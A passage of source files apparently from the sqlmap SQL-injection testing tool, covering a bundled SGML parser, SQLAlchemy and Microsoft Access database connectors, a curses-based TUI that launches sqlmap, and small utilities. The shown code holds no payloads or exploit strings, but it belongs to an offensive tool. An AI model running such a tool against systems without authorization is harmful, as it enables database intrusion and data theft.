attrvalue = attrvalue[1:-1] attrvalue = self.entity_or_charref.sub( self._convert_ref, attrvalue) attrs.append((attrname.lower(), attrvalue)) k = match.end(0) if rawdata[j] == '>': j = j + 1 self.__starttag_text = rawdata[start_pos:j] self.finish_starttag(tag, attrs) return j # Internal -- convert entity or character reference def _convert_ref(self, match): if match.group(2): return self.convert_charref(match.group(2)) or \ '&#%s%s' % match.groups()[1:] elif match.group(3): return self.convert_entityref(match.group(1)) or \ '&%s;' % match.group(1) else: return '&%s' % match.group(1) # Internal -- parse endtag def parse_endtag(self, i): rawdata = self.rawdata match = endbracket.search(rawdata, i + 1) if not match: return -1 j = match.start(0) tag = rawdata[i + 2:j].strip().lower() if rawdata[j] == '>': j = j + 1 self.finish_endtag(tag) return j # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>) def finish_shorttag(self, tag, data): self.finish_starttag(tag, []) self.handle_data(data) self.finish_endtag(tag) # Internal -- finish processing of start tag # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag def finish_starttag(self, tag, attrs): try: method = getattr(self, 'start_' + tag) except AttributeError: try: method = getattr(self, 'do_' + tag) except AttributeError: self.unknown_starttag(tag, attrs) return -1 else: self.handle_starttag(tag, method, attrs) return 0 else: self.stack.append(tag) self.handle_starttag(tag, method, attrs) return 1 # Internal -- finish processing of end tag def finish_endtag(self, tag): if not tag: found = len(self.stack) - 1 if found < 0: self.unknown_endtag(tag) return else: if tag not in self.stack: try: method = getattr(self, 'end_' + tag) except AttributeError: self.unknown_endtag(tag) else: self.report_unbalanced(tag) return found = len(self.stack) for i in range(found): if self.stack[i] == tag: found = i while len(self.stack) > found: tag = self.stack[-1] try: method = getattr(self, 'end_' + tag) except AttributeError: method = None if method: self.handle_endtag(tag, method) else: self.unknown_endtag(tag) del self.stack[-1] # Overridable -- handle start tag def handle_starttag(self, tag, method, attrs): method(attrs) # Overridable -- handle end tag def handle_endtag(self, tag, method): method() # Example -- report an unbalanced </...> tag. def report_unbalanced(self, tag): if self.verbose: print('*** Unbalanced </' + tag + '>') print('*** Stack:', self.stack) def convert_charref(self, name): """Convert character reference, may be overridden.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127: return return self.convert_codepoint(n) def convert_codepoint(self, codepoint): return chr(codepoint) def handle_charref(self, name): """Handle character reference, no need to override.""" replacement = self.convert_charref(name) if replacement is None: self.unknown_charref(name) else: self.handle_data(replacement) # Definition of entities -- derived classes may override entitydefs = \ {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} def convert_entityref(self, name): """Convert entity references. As an alternative to overriding this method; one can tailor the results by setting up the self.entitydefs mapping appropriately. """ table = self.entitydefs if name in table: return table[name] else: return def handle_entityref(self, name): """Handle entity references, no need to override.""" replacement = self.convert_entityref(name) if replacement is None: self.unknown_entityref(name) else: self.handle_data(replacement) # Example -- handle data, should be overridden def handle_data(self, data): pass # Example -- handle comment, could be overridden def handle_comment(self, data): pass # Example -- handle declaration, could be overridden def handle_decl(self, decl): pass # Example -- handle processing instruction, could be overridden def handle_pi(self, data): pass # To be overridden -- handlers for unknown objects def unknown_starttag(self, tag, attrs): pass def unknown_endtag(self, tag): pass def unknown_charref(self, ref): pass def unknown_entityref(self, ref): pass class TestSGMLParser(SGMLParser): def __init__(self, verbose=0): self.testdata = "" SGMLParser.__init__(self, verbose) def handle_data(self, data): self.testdata = self.testdata + data if len(repr(self.testdata)) >= 70: self.flush() def flush(self): data = self.testdata if data: self.testdata = "" print('data:', repr(data)) def handle_comment(self, data): self.flush() r = repr(data) if len(r) > 68: r = r[:32] + '...' + r[-32:] print('comment:', r) def unknown_starttag(self, tag, attrs): self.flush() if not attrs: print('start tag: <' + tag + '>') else: print('start tag: <' + tag, end=' ') for name, value in attrs: print(name + '=' + '"' + value + '"', end=' ') print('>') def unknown_endtag(self, tag): self.flush() print('end tag: </' + tag + '>') def unknown_entityref(self, ref): self.flush() print('*** unknown entity ref: &' + ref + ';') def unknown_charref(self, ref): self.flush() print('*** unknown char ref: &#' + ref + ';') def unknown_decl(self, data): self.flush() print('*** unknown decl: [' + data + ']') def close(self): SGMLParser.close(self) self.flush() def test(args=None): import sys if args is None: args = sys.argv[1:] if args and args[0] == '-s': args = args[1:] klass = SGMLParser else: klass = TestSGMLParser if args: file = args[0] else: file = 'test.html' if file == '-': f = sys.stdin else: try: f = open(file, 'r') except IOError as msg: print(file, ":", msg) sys.exit(1) data = f.read() if f is not sys.stdin: f.close() x = klass() for c in data: x.feed(c) x.close() if __name__ == '__main__': test() ================================================ FILE: lib/utils/sqlalchemy.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import importlib import logging import os import re import sys import traceback import warnings _path = list(sys.path) _sqlalchemy = None try: sys.path = sys.path[1:] module = importlib.import_module("sqlalchemy") if hasattr(module, "dialects"): _sqlalchemy = module warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) except: pass finally: sys.path = _path try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) except (ImportError, AttributeError): pass from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector from thirdparty import six from thirdparty.six.moves import urllib as _urllib def getSafeExString(ex, encoding=None): # Cross-referenced function raise NotImplementedError class SQLAlchemy(GenericConnector): def __init__(self, dialect=None): GenericConnector.__init__(self) self.dialect = dialect self.address = conf.direct if conf.dbmsUser: self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) if conf.dbmsPass: self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) if self.dialect: self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address) def connect(self): if _sqlalchemy: self.initConnection() try: if not self.port and self.db: if not os.path.exists(self.db): raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) _ = self.address.split("//", 1) self.address = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect == "sqlite": engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) elif self.dialect == "oracle": engine = _sqlalchemy.create_engine(self.address) else: engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() except (TypeError, ValueError): if "_get_server_version_info" in traceback.format_exc(): try: import pymssql if int(pymssql.__version__[0]) < 2: raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") else: pass except SqlmapFilePathException: raise except Exception as ex: raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) self.printConnected() else: raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else "")) def fetchall(self): try: retVal = [] for row in self.cursor.fetchall(): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): retVal = False # Reference: https://stackoverflow.com/a/69491015 if hasattr(_sqlalchemy, "text"): query = _sqlalchemy.text(query) try: self.cursor = self.connector.execute(query) retVal = True except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except _sqlalchemy.exc.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal ================================================ FILE: lib/utils/timeout.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import threading from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import TIMEOUT_STATE def timeout(func, args=None, kwargs=None, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.result = None self.timeout_state = None def run(self): try: self.result = func(*(args or ()), **(kwargs or {})) self.timeout_state = TIMEOUT_STATE.NORMAL except Exception as ex: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, ex) self.result = default self.timeout_state = TIMEOUT_STATE.EXCEPTION thread = InterruptableThread() thread.start() thread.join(duration) if thread.is_alive(): return default, TIMEOUT_STATE.TIMEOUT else: return thread.result, thread.timeout_state ================================================ FILE: lib/utils/tui.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import subprocess import sys import tempfile try: import curses except ImportError: curses = None from lib.core.common import getSafeExString from lib.core.common import saveConfig from lib.core.data import paths from lib.core.defaults import defaults from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSystemException from lib.core.settings import IS_WIN from thirdparty.six.moves import configparser as _configparser class NcursesUI: def __init__(self, stdscr, parser): self.stdscr = stdscr self.parser = parser self.current_tab = 0 self.current_field = 0 self.scroll_offset = 0 self.tabs = [] self.fields = {} self.running = False self.process = None # Initialize colors curses.start_color() curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) # Header curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE) # Active tab curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Inactive tab curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK) # Selected field curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK) # Help text curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK) # Error/Important curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK) # Label # Setup curses curses.curs_set(1) self.stdscr.keypad(1) # Parse option groups self._parse_options() def _parse_options(self): """Parse command line options into tabs and fields""" for group in self.parser.option_groups: tab_data = { 'title': group.title, 'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "", 'options': [] } for option in group.option_list: field_data = { 'dest': option.dest, 'label': self._format_option_strings(option), 'help': option.help if option.help else "", 'type': option.type if hasattr(option, 'type') and option.type else 'bool', 'value': '', 'default': defaults.get(option.dest) if defaults.get(option.dest) else None } tab_data['options'].append(field_data) self.fields[(group.title, option.dest)] = field_data self.tabs.append(tab_data) def _format_option_strings(self, option): """Format option strings for display""" parts = [] if hasattr(option, '_short_opts') and option._short_opts: parts.extend(option._short_opts) if hasattr(option, '_long_opts') and option._long_opts: parts.extend(option._long_opts) return ', '.join(parts) def _draw_header(self): """Draw the header bar""" height, width = self.stdscr.getmaxyx() header = " sqlmap - ncurses TUI " self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) self.stdscr.addstr(0, 0, header.center(width)) self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD) def _get_tab_bar_height(self): """Calculate how many rows the tab bar uses""" height, width = self.stdscr.getmaxyx() y = 1 x = 0 for i, tab in enumerate(self.tabs): tab_text = " %s " % tab['title'] # Check if tab exceeds width, wrap to next line if x + len(tab_text) >= width: y += 1 x = 0 # Stop if we've used too many lines if y >= 3: break x += len(tab_text) + 1 return y def _draw_tabs(self): """Draw the tab bar""" height, width = self.stdscr.getmaxyx() y = 1 x = 0 for i, tab in enumerate(self.tabs): tab_text = " %s " % tab['title'] # Check if tab exceeds width, wrap to next line if x + len(tab_text) >= width: y += 1 x = 0 # Stop if we've used too many lines if y >= 3: break if i == self.current_tab: self.stdscr.attron(curses.color_pair(2) | curses.A_BOLD) else: self.stdscr.attron(curses.color_pair(3)) try: self.stdscr.addstr(y, x, tab_text) except: pass if i == self.current_tab: self.stdscr.attroff(curses.color_pair(2) | curses.A_BOLD) else: self.stdscr.attroff(curses.color_pair(3)) x += len(tab_text) + 1 def _draw_footer(self): """Draw the footer with help text""" height, width = self.stdscr.getmaxyx() footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit " try: self.stdscr.attron(curses.color_pair(1)) self.stdscr.addstr(height - 1, 0, footer.ljust(width)) self.stdscr.attroff(curses.color_pair(1)) except: pass def _draw_current_tab(self): """Draw the current tab content""" height, width = self.stdscr.getmaxyx() tab = self.tabs[self.current_tab] # Calculate tab bar height tab_bar_height = self._get_tab_bar_height() start_y = tab_bar_height + 1 # Clear content area for y in range(start_y, height - 1): try: self.stdscr.addstr(y, 0, " " * width) except: pass y = start_y # Draw description if exists if tab['description']: desc_lines = self._wrap_text(tab['description'], width - 4) for line in desc_lines[:2]: # Limit to 2 lines try: self.stdscr.attron(curses.color_pair(5)) self.stdscr.addstr(y, 2, line) self.stdscr.attroff(curses.color_pair(5)) y += 1 except: pass y += 1 # Draw options visible_start = self.scroll_offset visible_end = visible_start + (height - y - 2) for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): if y >= height - 2: break is_selected = (i == self.current_field) # Draw label label = option['label'][:25].ljust(25) try: if is_selected: self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) else: self.stdscr.attron(curses.color_pair(7)) self.stdscr.addstr(y, 2, label) if is_selected: self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) else: self.stdscr.attroff(curses.color_pair(7)) except: pass # Draw value value_str = "" if option['type'] == 'bool': value = option['value'] if option['value'] is not None else option.get('default') value_str = "[X]" if value else "[ ]" else: value_str = str(option['value']) if option['value'] else "" if option['default'] and not option['value']: value_str = "(%s)" % str(option['default']) value_str = value_str[:30] try: if is_selected: self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) self.stdscr.addstr(y, 28, value_str) if is_selected: self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) except: pass # Draw help text if width > 65: help_text = option['help'][:width-62] if option['help'] else "" try: self.stdscr.attron(curses.color_pair(5)) self.stdscr.addstr(y, 60, help_text) self.stdscr.attroff(curses.color_pair(5)) except: pass y += 1 # Draw scroll indicator if len(tab['options']) > visible_end - visible_start: try: self.stdscr.attron(curses.color_pair(6)) self.stdscr.addstr(height - 2, width - 10, "[More...]") self.stdscr.attroff(curses.color_pair(6)) except: pass def _wrap_text(self, text, width): """Wrap text to fit within width""" words = text.split() lines = [] current_line = "" for word in words: if len(current_line) + len(word) + 1 <= width: current_line += word + " " else: if current_line: lines.append(current_line.strip()) current_line = word + " " if current_line: lines.append(current_line.strip()) return lines def _edit_field(self): """Edit the current field""" tab = self.tabs[self.current_tab] if self.current_field >= len(tab['options']): return option = tab['options'][self.current_field] if option['type'] == 'bool': # Toggle boolean option['value'] = not option['value'] else: # Text input height, width = self.stdscr.getmaxyx() # Create input window input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) input_win.box() input_win.attron(curses.color_pair(2)) input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) input_win.attroff(curses.color_pair(2)) input_win.addstr(2, 2, "Value:") input_win.refresh() # Get input curses.echo() curses.curs_set(1) # Pre-fill with existing value current_value = str(option['value']) if option['value'] else "" input_win.addstr(2, 9, current_value) input_win.move(2, 9) try: new_value = input_win.getstr(2, 9, width - 32).decode('utf-8') # Validate and convert based on type if option['type'] == 'int': try: option['value'] = int(new_value) if new_value else None except ValueError: option['value'] = None elif option['type'] == 'float': try: option['value'] = float(new_value) if new_value else None except ValueError: option['value'] = None else: option['value'] = new_value if new_value else None except: pass curses.noecho() curses.curs_set(0) # Clear input window input_win.clear() input_win.refresh() del input_win def _export_config(self): """Export current configuration to a file""" height, width = self.stdscr.getmaxyx() # Create input window input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) input_win.box() input_win.attron(curses.color_pair(2)) input_win.addstr(0, 2, " Export Configuration ") input_win.attroff(curses.color_pair(2)) input_win.addstr(2, 2, "File:") input_win.refresh() # Get input curses.echo() curses.curs_set(1) try: filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() if filename: # Collect all field values config = {} for tab in self.tabs: for option in tab['options']: dest = option['dest'] value = option['value'] if option['value'] is not None else option.get('default') if option['type'] == 'bool': config[dest] = bool(value) elif option['type'] == 'int': config[dest] = int(value) if value else None elif option['type'] == 'float': config[dest] = float(value) if value else None else: config[dest] = value # Set defaults for unset options for option in self.parser.option_list: if option.dest not in config or config[option.dest] is None: config[option.dest] = defaults.get(option.dest, None) # Save config try: saveConfig(config, filename) # Show success message input_win.clear() input_win.box() input_win.attron(curses.color_pair(5)) input_win.addstr(0, 2, " Export Successful ") input_win.attroff(curses.color_pair(5)) input_win.addstr(2, 2, "Configuration exported to:") input_win.addstr(3, 2, filename[:width - 26]) input_win.refresh() curses.napms(2000) except Exception as ex: # Show error message input_win.clear() input_win.box() input_win.attron(curses.color_pair(6)) input_win.addstr(0, 2, " Export Failed ") input_win.attroff(curses.color_pair(6)) input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) input_win.refresh() curses.napms(2000) except: pass curses.noecho() curses.curs_set(0) # Clear input window input_win.clear() input_win.refresh() del input_win def _import_config(self): """Import configuration from a file""" height, width = self.stdscr.getmaxyx() # Create input window input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) input_win.box() input_win.attron(curses.color_pair(2)) input_win.addstr(0, 2, " Import Configuration ") input_win.attroff(curses.color_pair(2)) input_win.addstr(2, 2, "File:") input_win.refresh() # Get input curses.echo() curses.curs_set(1) try: filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() if filename and os.path.isfile(filename): try: # Read config file config = _configparser.ConfigParser() config.read(filename) imported_count = 0 # Load values into fields for tab in self.tabs: for option in tab['options']: dest = option['dest'] # Search for option in all sections for section in config.sections(): if config.has_option(section, dest): value = config.get(section, dest) # Convert based on type if option['type'] == 'bool': option['value'] = value.lower() in ('true', '1', 'yes', 'on') elif option['type'] == 'int': try: option['value'] = int(value) if value else None except ValueError: option['value'] = None elif option['type'] == 'float': try: option['value'] = float(value) if value else None except ValueError: option['value'] = None else: option['value'] = value if value else None imported_count += 1 break # Show success message input_win.clear() input_win.box() input_win.attron(curses.color_pair(5)) input_win.addstr(0, 2, " Import Successful ") input_win.attroff(curses.color_pair(5)) input_win.addstr(2, 2, "Imported %d options from:" % imported_count) input_win.addstr(3, 2, filename[:width - 26]) input_win.refresh() curses.napms(2000) except Exception as ex: # Show error message input_win.clear() input_win.box() input_win.attron(curses.color_pair(6)) input_win.addstr(0, 2, " Import Failed ") input_win.attroff(curses.color_pair(6)) input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) input_win.refresh() curses.napms(2000) elif filename: # File not found input_win.clear() input_win.box() input_win.attron(curses.color_pair(6)) input_win.addstr(0, 2, " File Not Found ") input_win.attroff(curses.color_pair(6)) input_win.addstr(2, 2, "File does not exist:") input_win.addstr(3, 2, filename[:width - 26]) input_win.refresh() curses.napms(2000) except: pass curses.noecho() curses.curs_set(0) # Clear input window input_win.clear() input_win.refresh() del input_win def _run_sqlmap(self): """Run sqlmap with current configuration""" config = {} # Collect all field values for tab in self.tabs: for option in tab['options']: dest = option['dest'] value = option['value'] if option['value'] is not None else option.get('default') if option['type'] == 'bool': config[dest] = bool(value) elif option['type'] == 'int': config[dest] = int(value) if value else None elif option['type'] == 'float': config[dest] = float(value) if value else None else: config[dest] = value # Set defaults for unset options for option in self.parser.option_list: if option.dest not in config or config[option.dest] is None: config[option.dest] = defaults.get(option.dest, None) # Create temp config file handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(config, configFile) # Show console self._show_console(configFile) def _show_console(self, configFile): """Show console output from sqlmap""" height, width = self.stdscr.getmaxyx() # Create console window console_win = curses.newwin(height - 4, width - 4, 2, 2) console_win.box() console_win.attron(curses.color_pair(2)) console_win.addstr(0, 2, " sqlmap Console - Press Q to close ") console_win.attroff(curses.color_pair(2)) console_win.refresh() # Create output area output_win = console_win.derwin(height - 8, width - 8, 2, 2) output_win.scrollok(True) output_win.idlok(True) # Start sqlmap process try: process = subprocess.Popen( [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN ) if not IS_WIN: # Make it non-blocking import fcntl flags = fcntl.fcntl(process.stdout, fcntl.F_GETFL) fcntl.fcntl(process.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK) output_win.nodelay(True) console_win.nodelay(True) lines = [] current_line = "" while True: # Check for user input try: key = console_win.getch() if key in (ord('q'), ord('Q')): # Kill process process.terminate() break elif key == curses.KEY_ENTER or key == 10: # Send newline to process if process.poll() is None: try: process.stdin.write(b'\n') process.stdin.flush() except: pass except: pass # Read output try: chunk = process.stdout.read(1024) if chunk: current_line += chunk.decode('utf-8', errors='ignore') # Split into lines while '\n' in current_line: line, current_line = current_line.split('\n', 1) lines.append(line) # Keep only last N lines if len(lines) > 1000: lines = lines[-1000:] # Display lines output_win.clear() start_line = max(0, len(lines) - (height - 10)) for i, l in enumerate(lines[start_line:]): try: output_win.addstr(i, 0, l[:width-10]) except: pass output_win.refresh() console_win.refresh() except: pass # Check if process ended if process.poll() is not None: # Read remaining output try: remaining = process.stdout.read() if remaining: current_line += remaining.decode('utf-8', errors='ignore') for line in current_line.split('\n'): if line: lines.append(line) except: pass # Display final output output_win.clear() start_line = max(0, len(lines) - (height - 10)) for i, l in enumerate(lines[start_line:]): try: output_win.addstr(i, 0, l[:width-10]) except: pass output_win.addstr(height - 9, 0, "--- Process finished. Press Q to close ---") output_win.refresh() console_win.refresh() # Wait for Q console_win.nodelay(False) while True: key = console_win.getch() if key in (ord('q'), ord('Q')): break break # Small delay curses.napms(50) except Exception as ex: output_win.addstr(0, 0, "Error: %s" % getSafeExString(ex)) output_win.refresh() console_win.nodelay(False) console_win.getch() finally: # Clean up try: os.unlink(configFile) except: pass console_win.nodelay(False) output_win.nodelay(False) del output_win del console_win def run(self): """Main UI loop""" while True: self.stdscr.clear() # Draw UI self._draw_header() self._draw_tabs() self._draw_current_tab() self._draw_footer() self.stdscr.refresh() # Get input key = self.stdscr.getch() tab = self.tabs[self.current_tab] # Handle input if key == curses.KEY_F10 or key == 27: # F10 or ESC break elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow self.current_tab = (self.current_tab + 1) % len(self.tabs) self.current_field = 0 self.scroll_offset = 0 elif key == curses.KEY_LEFT: # Left arrow self.current_tab = (self.current_tab - 1) % len(self.tabs) self.current_field = 0 self.scroll_offset = 0 elif key == curses.KEY_UP: # Up arrow if self.current_field > 0: self.current_field -= 1 # Adjust scroll if needed if self.current_field < self.scroll_offset: self.scroll_offset = self.current_field elif key == curses.KEY_DOWN: # Down arrow if self.current_field < len(tab['options']) - 1: self.current_field += 1 # Adjust scroll if needed height, width = self.stdscr.getmaxyx() visible_lines = height - 8 if self.current_field >= self.scroll_offset + visible_lines: self.scroll_offset = self.current_field - visible_lines + 1 elif key == curses.KEY_ENTER or key == 10 or key == 13: # Enter self._edit_field() elif key == curses.KEY_F2: # F2 to run self._run_sqlmap() elif key == curses.KEY_F3: # F3 to export self._export_config() elif key == curses.KEY_F4: # F4 to import self._import_config() elif key == ord(' '): # Space for boolean toggle option = tab['options'][self.current_field] if option['type'] == 'bool': option['value'] = not option['value'] def runTui(parser): """Main entry point for ncurses TUI""" # Check if ncurses is available if curses is None: raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") try: # Initialize and run def main(stdscr): ui = NcursesUI(stdscr, parser) ui.run() curses.wrapper(main) except Exception as ex: errMsg = "unable to create ncurses UI ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) ================================================ FILE: lib/utils/versioncheck.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import sys import time PYVERSION = sys.version.split()[0] if PYVERSION < "2.7": sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) errors = [] extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") for _ in extensions: try: __import__(_) except ImportError: errors.append(_) if errors: errMsg = "[%s] [CRITICAL] missing one or more core extensions (%s) " % (time.strftime("%X"), ", ".join("'%s'" % _ for _ in errors)) errMsg += "most likely because current version of Python has been " errMsg += "built without appropriate dev packages" sys.exit(errMsg) ================================================ FILE: lib/utils/xrange.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import numbers class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ >>> list(xrange(1, 9)) == list(range(1, 9)) True >>> list(xrange(8, 0, -16)) == list(range(8, 0, -16)) True >>> list(xrange(0, 8, 16)) == list(range(0, 8, 16)) True >>> list(xrange(0, 4, 5)) == list(range(0, 4, 5)) True >>> list(xrange(4, 0, 3)) == list(range(4, 0, 3)) True >>> list(xrange(0, -3)) == list(range(0, -3)) True >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2)) True >>> foobar = xrange(1, 10) >>> 7 in foobar True >>> 11 in foobar False >>> foobar[0] 1 """ __slots__ = ['_slice'] def __init__(self, *args): if args and isinstance(args[0], type(self)): self._slice = slice(args[0].start, args[0].stop, args[0].step) else: self._slice = slice(*args) if self._slice.stop is None: raise TypeError("xrange stop must not be None") @property def start(self): if self._slice.start is not None: return self._slice.start return 0 @property def stop(self): return self._slice.stop @property def step(self): if self._slice.step is not None: return self._slice.step return 1 def __hash__(self): return hash(self._slice) def __repr__(self): return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) def __len__(self): return self._len() def _len(self): return max(0, 1 + int((self.stop - 1 - self.start) // self.step)) def __contains__(self, value): return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 def __getitem__(self, index): if isinstance(index, slice): start, stop, step = index.indices(self._len()) return xrange(self._index(start), self._index(stop), step * self.step) elif isinstance(index, numbers.Integral): if index < 0: fixed_index = index + self._len() else: fixed_index = index if not 0 <= fixed_index < self._len(): raise IndexError("Index %d out of %r" % (index, self)) return self._index(fixed_index) else: raise TypeError("xrange indices must be slices or integers") def _index(self, i): return self.start + self.step * i def index(self, i): if self.start <= i < self.stop: return i - self.start else: raise ValueError("%d is not in list" % i) ================================================ FILE: plugins/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: plugins/dbms/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: plugins/dbms/access/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ACCESS_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.access.enumeration import Enumeration from plugins.dbms.access.filesystem import Filesystem from plugins.dbms.access.fingerprint import Fingerprint from plugins.dbms.access.syntax import Syntax from plugins.dbms.access.takeover import Takeover from plugins.generic.misc import Miscellaneous class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft Access methods """ def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape ================================================ FILE: plugins/dbms/access/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import pyodbc except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import IS_WIN from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/mkleehammer/pyodbc User guide: https://github.com/mkleehammer/pyodbc/wiki Debian package: python-pyodbc License: MIT """ def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " errMsg += "is restricted to Windows platforms" raise SqlmapUnsupportedFeatureException(errMsg) self.initConnection() self.checkFileDb() try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) except (pyodbc.Error, pyodbc.OperationalError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pyodbc.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (pyodbc.OperationalError, pyodbc.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except 